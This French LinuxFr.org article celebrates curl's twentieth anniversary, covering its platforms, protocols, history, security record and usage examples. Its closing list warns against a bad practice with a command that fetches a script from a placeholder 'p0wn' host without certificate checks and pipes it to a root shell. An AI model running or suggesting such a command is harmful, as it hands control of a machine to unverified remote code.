Curl est l’exemple du logiciel utilisé partout, tellement omniprésent que l’on oublie d’en parler. Aucune dépêche ou journal LinuxFr.org dédié à ce logiciel, alors même qu’un de ses homonymes le langage Curl a eu le droit d’être mentionné en 2001. Tandis que le vénérable curl fête ses vingt ans, il est temps de réparer cet honteux oubli.
Curl (curl
ou plutôt cURL pour « client URL request library ») se rapporte en fait à la bibliothèque libcurl et à l’outil en ligne de commande curl, permettant de faire des requêtes sur un réseau (pléthore de protocoles sont pris en charge). Écrits en C, ils existent sur une multitude de systèmes différents et la bibliothèque est utilisable depuis de nombreux (plus de 40) langages (C++, Java, .NET, Perl, PHP, Ruby, etc.).
Sommaire
Documentation et fonctionnalités
La documentation mentionne notamment :
- les systèmes AIX, AmigaOS, Android, BeOS, BlackBerry Tablet OS, BlackBerry 10, OpenVMS, Darwin, DOS, FreeBSD, GNU/Linux, HP-UX, HURD, iOS, IRIX, macOS, NetBSD, NetWare, OpenBSD, OS/2, QNX Neutrino, RISC OS, Solaris, Symbian, Tru64, Ultrix, UnixWare, Windows (oui, même Windows) et d’autres ;
- les protocoles DICT, FILE, FTP, FTPS, Gopher, HTTP dont HTTP/2, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet et TFTP ;
- une utilisation dans les voitures, les télévisions, les routeurs, les imprimantes, les équipements audio, les téléphones mobiles, les tablettes, les lecteurs multimédia, etc. (et probablement des machines à café) ; voir aussi la page des utilisations commerciales de curl ;
- la bibliothèque est thread‐safe, compatible IPv6, prend en charge de multiples bibliothèques cryptographiques (axTLS, GnuTLS, mbed TLS, NSS, QSOSSL sur IBM i, SChannel sur Windows, Secure Transport sur macOS et iOS, SSL/TLS via OpenSSL, wolfSSL), etc. Voir l’entrée de blog sur la gestion de TLS 1.3.
Histoire
Le développeur principal est Daniel Stenberg (employé par Mozilla, grand, suédois, grognon, comme il se décrit sur son blog).
En 1997, HttpGet 1.0 est publié le 8 avril 1997. Mais, rapidement, le HTTP n’est pas suffisant, la prise en charge de GOPHER est ajoutée, et urlget 2.0 est publié (après renommage, donc). Le get c’est bien, mais le logiciel fait plus, alors curl 4.0 est publié le 20 mars 1998, sous licence GPL (voir la page histoire du projet).
Logo cURL de 1998, par Henrik Hellerstedt
- octobre 1998 : curl 4.9 (passage en licence MPL, 4 000 lignes de code) ;
- 1999 : curl 6.0 (15 000 lignes) ;
- 2000 : libcurl apparaît (2 000 lignes) ;
- 2001 : curl 7.5.2 (passage en licence MIT, 24 000 lignes) ;
- 2002 : 35 000 lignes ;
- 2003 : 45 000 lignes ;
- 2005 : GnuTLS comme alternative possible à OpenSSL ;
- etc. ;
- 2017 : les chiffres du projet sont éloquents :
- versions publiées de curl : 169,
- options en ligne de commande : 211,
- options
curl_easy_setopt()
: 249,
- fonctions publiques dans libcurl : 74,
- contributeurs : 1609 ;
- 14 mars 2018 : dernière version publiée à ce jour, curl 7.59.0.
Facteurs de croissance sur les 20 ans du projet :
- protocoles pris en charge : x7.67 ;
- options en ligne de commande : x9 ;
- lignes de code : x75 ;
- contributeurs: x100 ;
- visiteurs hebdo sur le site Web : x1.400 ;
- utilisateurs finaux du code : x4.000.000 ;
- autocollants avec le logo curl : infinité.
Sécurité
Comme déjà dit précédemment, de multiples bibliothèques cryptographiques sont prises en charge (et comparées). Mais c’est l’autre aspect de la sécurité (les failles et problèmes) que cette partie veut aborder. Un outil ayant autant de fonctionnalités que curl/libcurl connaît forcément des failles au cours de son existence. L’historique du projet le rappelle et une page dédiée recense d’ailleurs les 78 failles précédemment découvertes (ainsi que les procédures en place).
Le récent exemple de transparence dont a fait preuve D. Stenberg est à la fois à saluer, et à la fois un indicateur de l’importance du sujet pour le projet, ce qui est plutôt rassurant.
Exemples d’utilisation
On trouve très facilement et très souvent des exemples d’utilisation de curl et des tutoriels d’utilisation. En voici quelques‐uns :
Un accès basique à LinuxFr.org
Un exemple bateau/trivial d’accès à un site Web : TCP, puis TLS, puis HTTP, et hop une page Web :
$ curl -v -s https://linuxfr.org
(...)
* Connected to linuxfr.org (88.191.250.176) port 443 (#0)
(...)
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
(...)
* SSL certificate verify ok.
(...)
> GET / HTTP/1.1^M
> Host: linuxfr.org^M
> User-Agent: curl/7.58.0^M
> Accept: */*^M
> ^M
(...)
< HTTP/1.1 200 OK^M
< Server: nginx/1.2.1^M
< Date: Thu, 29 Mar 2018 09:23:22 GMT^M
< Content-Type: text/html; charset=utf-8^M
(...)
Curlception
curl https://curl.haxx.se/download/curl-7.59.0.tar.xz|tar xvJf - && cd curl-7.59.0 && ./configure && make && make check
Ceci qui a permis de remonter un bogue sur les locales dû au séparateur décimal qui était une virgule au lieu du point attendu dans la barre de progression pour le résultat final de 100,00 %.
Documentation d’Elastic (Elasticsearch, Logstash, Kibana, etc.)
Prenons cet extrait de la documentation du logiciel Elasticsearch expliquant comment modifier un document :
La requête est affichée pour les développeurs et peut‐être copiée‐collée en tant que commande curl (curl -XPUT 'localhost:9200/twitter/_doc/1?pretty' -H 'Content-Type: application/json' -d'{"user" : "kimchy", "post_date" : "2009-11-15T14:12:12", "message" : "trying out Elasticsearch"}'
)
Blog de Stéphane Bortzmeyer
Des exemples variés d’utilisation, en français :
Installation de RVM
La procédure d’installation de RVM (Ruby Version Manager) utilise explicitement curl (reprise d’ailleurs dans la documentation d’installation du code de LinuxFr.org) :
\curl -sSL https://get.rvm.io | bash
Parrot.live
Cette commande permet d’amener la paix dans le monde et de sauver les oisillons dodo :
curl parrot.live
En vrac
- attention aux mauvaises pratiques du type
curl --insecure https://domainelouche.example.invalid/p0wn/service.csh|sudo tcsh
;
- d’autres outils en ligne de commande dans la même catégorie : httpie, bat, wget, et le projet curl maintient un tableau comparatif évoquant aussi snarf, pavuk, fget, lftp, aria2, httrack. Une autre page décrit aussi les alternatives à libcurl ;
- malgré deux changements de noms, le projet a divers homonymes, aussi bien comme noms propres (dont un prix Nobel et une marque de fringues et de sport) que comme mots courants en anglais (boucle/boucler), ce qui ne rend pas les recherches faciles sur son seul nom.